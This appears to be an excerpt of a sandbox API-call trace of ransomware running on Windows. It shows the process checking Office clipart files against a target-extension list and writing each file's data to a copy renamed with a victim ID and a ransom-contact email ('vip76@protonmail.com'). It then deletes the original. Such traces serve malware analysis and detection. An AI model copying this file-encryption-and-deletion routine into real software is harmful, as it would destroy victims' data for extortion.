	[0084.366] lstrlenW (lpString=".1cd") returned 4
	[0084.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0084.366] lstrlenW (lpString=".jpg") returned 4
	[0084.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.367] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.367] lstrlenW (lpString="DD01170_.WMF") returned 12
	[0084.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.367] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2404) returned 1
	[0084.367] CloseHandle (hObject=0x394) returned 1
	[0084.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220
	[0084.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.368] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.368] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.369] GetLastError () returned 0x0
	[0084.369] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x964, lpOverlapped=0x0) returned 1
	[0084.371] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x970, lpOverlapped=0x0) returned 1
	[0084.372] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.372] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.372] SetEndOfFile (hFile=0x38c) returned 1
	[0084.373] CloseHandle (hObject=0x38c) returned 1
	[0084.373] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.373] SetEndOfFile (hFile=0x394) returned 1
	[0084.374] CloseHandle (hObject=0x394) returned 1
	[0084.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1
	[0084.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.374] lstrlenW (lpString=".doc") returned 4
	[0084.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString=".docx") returned 5
	[0084.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.375] lstrlenW (lpString=".pdf") returned 4
	[0084.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString=".xls") returned 4
	[0084.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.375] lstrlenW (lpString=".xlsx") returned 5
	[0084.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.375] lstrlenW (lpString=".ppt") returned 4
	[0084.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.375] lstrlenW (lpString=".zip") returned 4
	[0084.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.375] lstrlenW (lpString=".rar") returned 4
	[0084.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString=".bz2") returned 4
	[0084.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString=".7z") returned 3
	[0084.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.375] lstrlenW (lpString=".dbf") returned 4
	[0084.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.375] lstrlenW (lpString=".1cd") returned 4
	[0084.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.375] lstrlenW (lpString=".jpg") returned 4
	[0084.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.375] lstrlenW (lpString=".doc") returned 4
	[0084.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.376] lstrlenW (lpString=".docx") returned 5
	[0084.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.376] lstrlenW (lpString=".pdf") returned 4
	[0084.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.376] lstrlenW (lpString=".xls") returned 4
	[0084.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.376] lstrlenW (lpString=".xlsx") returned 5
	[0084.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.376] lstrlenW (lpString=".ppt") returned 4
	[0084.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.376] lstrlenW (lpString=".zip") returned 4
	[0084.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.376] lstrlenW (lpString=".rar") returned 4
	[0084.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.377] lstrlenW (lpString=".bz2") returned 4
	[0084.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.377] lstrlenW (lpString=".7z") returned 3
	[0084.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.377] lstrlenW (lpString=".dbf") returned 4
	[0084.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.377] lstrlenW (lpString=".1cd") returned 4
	[0084.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0084.377] lstrlenW (lpString=".jpg") returned 4
	[0084.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.377] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.377] lstrlenW (lpString="DD01171_.WMF") returned 12
	[0084.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.377] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2052) returned 1
	[0084.378] CloseHandle (hObject=0x394) returned 1
	[0084.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220
	[0084.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.378] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.378] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.378] GetLastError () returned 0x0
	[0084.378] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x804, lpOverlapped=0x0) returned 1
	[0084.380] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x810, lpOverlapped=0x0) returned 1
	[0084.381] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.381] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.381] SetEndOfFile (hFile=0x38c) returned 1
	[0084.381] CloseHandle (hObject=0x38c) returned 1
	[0084.381] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.381] SetEndOfFile (hFile=0x394) returned 1
	[0084.382] CloseHandle (hObject=0x394) returned 1
	[0084.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1
	[0084.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.383] lstrlenW (lpString=".doc") returned 4
	[0084.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString=".docx") returned 5
	[0084.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.383] lstrlenW (lpString=".pdf") returned 4
	[0084.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString=".xls") returned 4
	[0084.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.383] lstrlenW (lpString=".xlsx") returned 5
	[0084.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.383] lstrlenW (lpString=".ppt") returned 4
	[0084.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.383] lstrlenW (lpString=".zip") returned 4
	[0084.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.383] lstrlenW (lpString=".rar") returned 4
	[0084.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString=".bz2") returned 4
	[0084.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString=".7z") returned 3
	[0084.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.383] lstrlenW (lpString=".dbf") returned 4
	[0084.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.383] lstrlenW (lpString=".1cd") returned 4
	[0084.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.383] lstrlenW (lpString=".jpg") returned 4
	[0084.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.384] lstrlenW (lpString=".doc") returned 4
	[0084.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString=".docx") returned 5
	[0084.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.384] lstrlenW (lpString=".pdf") returned 4
	[0084.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString=".xls") returned 4
	[0084.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.384] lstrlenW (lpString=".xlsx") returned 5
	[0084.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.384] lstrlenW (lpString=".ppt") returned 4
	[0084.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.384] lstrlenW (lpString=".zip") returned 4
	[0084.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.384] lstrlenW (lpString=".rar") returned 4
	[0084.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString=".bz2") returned 4
	[0084.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString=".7z") returned 3
	[0084.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.384] lstrlenW (lpString=".dbf") returned 4
	[0084.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.384] lstrlenW (lpString=".1cd") returned 4
	[0084.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0084.384] lstrlenW (lpString=".jpg") returned 4
	[0084.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.385] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.385] lstrlenW (lpString="DD01172_.WMF") returned 12
	[0084.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.385] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2232) returned 1
	[0084.385] CloseHandle (hObject=0x394) returned 1
	[0084.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220
	[0084.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.385] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.386] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.386] GetLastError () returned 0x0
	[0084.386] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0084.387] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0084.388] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.388] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.388] SetEndOfFile (hFile=0x38c) returned 1
	[0084.389] CloseHandle (hObject=0x38c) returned 1
	[0084.389] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.389] SetEndOfFile (hFile=0x394) returned 1
	[0084.389] CloseHandle (hObject=0x394) returned 1
	[0084.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1
	[0084.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.390] lstrlenW (lpString=".doc") returned 4
	[0084.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.390] lstrlenW (lpString=".docx") returned 5
	[0084.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.390] lstrlenW (lpString=".pdf") returned 4
	[0084.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.390] lstrlenW (lpString=".xls") returned 4
	[0084.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.390] lstrlenW (lpString=".xlsx") returned 5
	[0084.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.390] lstrlenW (lpString=".ppt") returned 4
	[0084.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.391] lstrlenW (lpString=".zip") returned 4
	[0084.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.391] lstrlenW (lpString=".rar") returned 4
	[0084.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString=".bz2") returned 4
	[0084.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString=".7z") returned 3
	[0084.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.391] lstrlenW (lpString=".dbf") returned 4
	[0084.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.391] lstrlenW (lpString=".1cd") returned 4
	[0084.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.391] lstrlenW (lpString=".jpg") returned 4
	[0084.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.391] lstrlenW (lpString=".doc") returned 4
	[0084.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString=".docx") returned 5
	[0084.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.391] lstrlenW (lpString=".pdf") returned 4
	[0084.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.391] lstrlenW (lpString=".xls") returned 4
	[0084.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.391] lstrlenW (lpString=".xlsx") returned 5
	[0084.391] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.391] lstrlenW (lpString=".ppt") returned 4
	[0084.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.392] lstrlenW (lpString=".zip") returned 4
	[0084.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.392] lstrlenW (lpString=".rar") returned 4
	[0084.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.392] lstrlenW (lpString=".bz2") returned 4
	[0084.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.392] lstrlenW (lpString=".7z") returned 3
	[0084.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.392] lstrlenW (lpString=".dbf") returned 4
	[0084.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.392] lstrlenW (lpString=".1cd") returned 4
	[0084.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
